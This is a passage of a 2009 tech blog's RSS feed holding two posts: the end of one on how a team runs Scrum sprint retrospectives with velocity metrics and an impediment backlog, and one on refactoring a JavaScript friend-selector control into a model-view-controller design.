<li>Review any impediments and discuss measures on how to avoid them in the next sprint</li>
</ul>
<p>Here&#8217;s how we are structuring the sprint retrospecives:</p>
<h2>The set up</h2>
<p>The team and the product owner are allocating one hour in the meeting room. We&#8217;re looking at the wall with the <a href="http://www.mountaingoatsoftware.com/task-boards">task board</a>  showing the user stories, the burn down chart and  the <em>impediment backlog</em>. This is a big paper with a post it for every impediment encountered during the sprint. We collected the impediments during the bi-weekly scrum meetings (aka <em>daily scrum</em>).</p>
<h2>Visualize the achievements</h2>
<p>First, I go through all <em>done</em> user stories and say a few words about every story. Time for <em>praising</em> the team. Developers often think &#8220;we haven&#8217;t achieved anything&#8221;. So it&#8217;s important to visualize the finished user stories.</p>
<p><span id="more-484"></span></p>
<h2>Getting the metrics</h2>
<p>Second, we update the burn down chart and calculate the achieved velocity (<tt>[accomplished story points] / [available man days] = [velocity]</tt>). In our case we had 74 man days available. We accomplished 38 story points. That&#8217;s a velocity of 51%. Better than last time (39%). But still quite low as we committed for 50 story points. Fail. No praise here.</p>
<p><a href="http://www.muehlemann.com/wp-content/uploads/2009/03/burndown-chart.jpg"><img src="http://techblog.tilllate.com/wp-content/uploads/2009/03/burndown-chart-300x286.jpg" alt="burndown-chart of sprint 2" title="burndown-chart of sprint 2" width="300" height="286" class="alignnone size-medium wp-image-486" /></a></p>
<h2>Learning the lessons</h2>
<p>Third, we do the the retrospection round: This round is split in two parts.</p>
<p>First, we look at the conclusions from the last sprint retrospection a month ago. Were we able to implement the lessons learned? For example: We found that the product owner Martina did not have enough time to quickly reply to the questions of the team. As a measure we gave her an assistant. Did it help? -<em> &#8220;Yes&#8221;, </em>the team confirms, <em>&#8220;Martina was did have a lower response time than during the former sprint&#8221;.</em>. Good.</p>
<p>Then, we go through all the impediments we collected during the <a href="http://www.mountaingoatsoftware.com/daily-scrum">daily scrums</a>. We discuss what we can do to avoid them during the next sprint. Example: &#8220;The changes on the CSS were much more complicated than expected because our CSS is the mess&#8221;. The conclusion is: &#8220;We plan a CSS clean-up&#8221;.</p>
<h2>Results</h2>
<p>This meeting took about one hour. The result is:</p>
<ul>
<li>key metrics about the past sprint (expected velocity vs. actual velocity etc)</li>
<li>A list of impediments along with the measures to avoid them during the next sprint</li>
</ul>
<p>The team now has one day of slack time before we do our third sprint planning on Thursday.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2009/03/17/scrum-how-we-do-sprint-retrospectives/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>MVC for Javascript Controls</title>
		<link>http://www.muehlemann.com/2009/03/01/mvc-for-javascript-controls/</link>
		<comments>http://www.muehlemann.com/2009/03/01/mvc-for-javascript-controls/#comments</comments>
		<pubDate>Sun, 01 Mar 2009 11:43:50 +0000</pubDate>
		<dc:creator>Silvan Mühlemann</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[oop]]></category>

		<guid isPermaLink="false">http://techblog.tilllate.com/?p=439</guid>
		<description><![CDATA[I recently had to take over an unfinished project. It was an AJAX control to select multiple friends as you can find it on Facebook. &#8220;It&#8217;s 99% complete&#8221;, I was told. Yeah, right. I counted 2 story points (without looking &#8230; <a href="http://www.muehlemann.com/2009/03/01/mvc-for-javascript-controls/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I recently had to take over an unfinished project. It was an AJAX control to select multiple friends as you can find it on Facebook.</p>
<p><a href="http://www.muehlemann.com/wp-content/uploads/2009/03/friendselector_facebook.gif"><img src="http://techblog.tilllate.com/wp-content/uploads/2009/03/friendselector_facebook-285x300.gif" alt="friendselector_facebook" title="Friend selector control how you can find it on facebook" width="285" height="300" class="alignnone size-medium wp-image-455" /></a></p>
<p>&#8220;It&#8217;s 99% complete&#8221;, I was told. Yeah, right. I counted 2 story points (without looking at the code). Soon I knew I was too optimistic: Classes calling other classes without logic. Randomly named variables. Data, creation of DOM elements, AJAX calls spread all over the place:</p>
<div id="attachment_449" class="wp-caption alignnone" style="width: 310px"><a href="http://www.muehlemann.com/wp-content/uploads/2009/03/pic3.gif"><img src="http://techblog.tilllate.com/wp-content/uploads/2009/03/pic3-300x254.gif" alt="Architecture before refactoring (dramatized)" title="Architecture before refactoring (dramatized)" width="300" height="254" class="size-medium wp-image-449" /></a><p class="wp-caption-text">Architecture before refactoring (dramatized)</p></div>
<p>That&#8217;s not going to be easy. To make things worse: I am a Javascript beginner. What I did up to now was procedural Javascript code.</p>
<p><span id="more-439"></span></p>
<p>I felt the urge to begin everything from scratch. But I remember <a href="http://www.joelonsoftware.com/articles/fog0000000069.html">Joel Spolsky</a> saying that we should resist so I decided to go for a refactoring.</p>
<p>As <a href="/2008/05/20/tilllatecom-is-now-all-zend-framework/">I know</a> the <a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller">MVC </a>pattern very well from Zend Framework I tried to apply this pattern. Separation of concern! Each class has a well defined purpose. Here&#8217;s the architecture I refactored the code to:</p>
<p><a href="http://www.muehlemann.com/wp-content/uploads/2009/03/friendselector_object_model.gif"><img src="http://techblog.tilllate.com/wp-content/uploads/2009/03/friendselector_object_model-300x206.gif" alt="Friend Selector object model after refactoring" title="Friend Selector object model after refactoring" width="300" height="206" class="alignnone size-medium wp-image-450" /></a></p>
<ol>
<li><strong>Model:</strong> All operation on <em>data</em> (i.e. the friends to be selected) is in the classes &#8220;ModelFriendListItems&#8221; (which aggregates &#8220;ModelFriendListItem&#8221;). The Ajax request fetching the friend objects from the server is located ther as AJAX is about data.</li>
<li><strong>View:</strong> The three views for the panes &#8220;Parent container&#8221;, &#8220;All friends&#8221; and &#8220;selected friends&#8221;. DOM manipulation only in these classes.</li>
<li>A <strong>controller</strong> in charge of instancing and <em>controlling</em> the model and the views. The controller handles all events. No AJAX.</li>
</ol>
<p>Here&#8217;s the sum up of the concerns of the parts:</p>
<table>
<tr>
<td></td>
<td><strong>DOM manipulation</strong></td>
<td><strong>AJAX calls</strong></td>
<td><strong>Event and input handling</strong></td>
</tr>
<tr>
<td><strong>Model</strong></td>
<td>No</td>
<td><strong>Yes</strong></td>
<td>No</td>
</tr>
<tr>
<td><strong>View</strong></td>
<td><strong>Yes</strong></td>
<td>No</td>
<td>No</td>
</tr>
<tr>
<td><strong>Controller</strong></td>
<td>No</td>
<td>No</td>
<td><strong>Yes</strong></td>
</tr>
</table>
<p>As every class has his well defined concern you quickly know where to look when you need to maintain or extend the control. The name of the class and files reflects the role (<tt>ViewAllFriends.js</tt>, <tt>ModelFriendsListItems.js</tt>). Logical event and data flows.</p>
<p>You can try it <a href="http://techblog.tilllate.com/wp-content/uploads/2009/friendselector/local_files/friendselector.htm">here</a>. Here&#8217;s how the final version looks:</p>
<p><a href="http://www.muehlemann.com/wp-content/uploads/2009/03/friendselector_screenshot.gif"><img src="http://techblog.tilllate.com/wp-content/uploads/2009/03/friendselector_screenshot-300x227.gif" alt="Screenshot of friend selector control" title="Screen shot of friend selector control" width="300" height="227" class="alignnone size-medium wp-image-451" /></a></p>
<p>Well&#8230; It took much more than the 2 story points I counted in the beginning. But it feels much better having clean code! And my colleagues having to extend this control (<a href="http://leo.freeflux.net/">Leo</a>?) are surely happy for this clean up <img src='http://www.muehlemann.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p>I am sure there are other ways to model a Javascript control. What is your best practice?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.muehlemann.com/2009/03/01/mvc-for-javascript-controls/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

